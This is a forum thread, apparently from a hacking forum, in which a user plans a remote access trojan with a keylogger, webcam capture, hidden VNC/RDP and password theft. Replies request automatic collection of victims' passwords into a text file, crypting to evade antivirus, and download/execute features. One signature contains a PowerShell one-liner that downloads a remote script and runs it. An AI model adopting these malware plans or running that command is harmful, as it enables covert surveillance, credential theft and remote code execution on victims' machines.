As the title says basically. I'm devloping the server in Kotlin (requires Java 8) and will therefore run on any/most platform(s). The client will be coded in C++ and will only suppport Windows at the beginning but should support Linux soon afterwards. I'm not sure whether people would be intersted in a native MacOS client or would rather a Java based client for cross platform use?
The features I'm planning to implement:
- Native client
- Encrypted connection
- Fast (uses protocol buffers)
- Server should run on most platforms
- Most surveilence functions (remote desktop, clipboard, keylogger, taskmanager, webcam capture, pw recovery etc.)
- Hidden VNC
- Maybe hidden RDP (with reverse proxy)
Let me know what you want me to include. I may also make this open source (when it's ready), so let me know if that's something you'd like.
Sounds good. A feature I would like is automatic password recovery, so that when a new client joins it automatically saves their passwords into a txt file (same file for all clients). And then they can be organised by client id and name in the txt file.
(Jan 29, 2019 05:10 PM)Takehito Morokuzu Wrote: Sounds good. A feature I would like is automatic password recovery, so that when a new client joins it automatically saves their passwords into a txt file (same file for all clients). And then they can be organised by client id and name in the txt file.
Yeah that would be pretty easy to include as a feature. I'll be sure to add it to my list..
add crypting and file binding feature for the client. download/execute files, maybe remote chat or message box. network features? LAN computers, url download, browse page, active ports
DO NOT DEAL WITH THIS MEMBER
(Jan 29, 2019 07:15 PM)santasnut_meg_ Wrote: add crypting and file binding feature for the client. download/execute files, maybe remote chat or message box. network features? LAN computers, url download, browse page, active ports
Making a built in crypter wouldn’t do any good.
Jan 29, 2019 07:20 PM
(This post was last modified: Jan 29, 2019 07:20 PM by Khamul.)
(Jan 29, 2019 07:17 PM)I.M.P Wrote: Making a built in crypter wouldn’t do any good.
I agree, that's potentially the most retarded thing I've read in 2019...
DO NOT DEAL WITH THIS MEMBER
I think this is a must
Most surveilence functions (remote desktop, clipboard, keylogger, taskmanager, webcam capture, pw recovery etc.)
DO NOT DEAL WITH THIS MEMBER
I don’t see why you’d release such an already amazing rat for free but it’s an awesome contribution
(Jan 29, 2019 07:32 PM)I.M.P Wrote: I don’t see why you’d release such an already amazing rat for free but it’s an awesome contribution
Eh I'm not here to be an asshole, it's a learning experience for me so I'm fine to share it with ya'll.
DO NOT DEAL WITH THIS MEMBER
(Jan 29, 2019 07:32 PM)I.M.P Wrote: I don’t see why you’d release such an already amazing rat for free but it’s an awesome contribution
You saying he should sell it on the market?
I agree with most of the other suggestions here except the built in crypter bullshit. This project can turn out really good if you implement what you said along with the suggestions. It is hard to find a free half decent RAT with many features, so you offering a premium product like that its a huge contribution bro! I am also planning to work on a runtime C++ crypter soon. It wont be free, but it will be priced low to prevent skids ruining UD rate.
Are you going to be doing secure sockets or application layer encryption?
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"![[Image: f4hRdFS.gif]](https://i.imgur.com/f4hRdFS.gif)
(Jan 29, 2019 09:52 PM)Nick (Name) Wrote: Are you going to be doing secure sockets or application layer encryption?
Haven't decided yet. I'm thinking maybe application layer as it's fairly easy to implement key exchange and an efficient symmetric algorithm. It would provide me the flexibility to change it up and potentially use a relatively unknown algorithm as well.
what programming language are you going to use?
(Jan 31, 2019 12:39 PM)r0bwh1t3 Wrote: what programming language are you going to use?
Kotlin for the licensing system (so I can push updates) and the server, and C++ for the client. Might potentially add a JVM based client for cross-platform use (less ideal but a good feature nonetheless).
|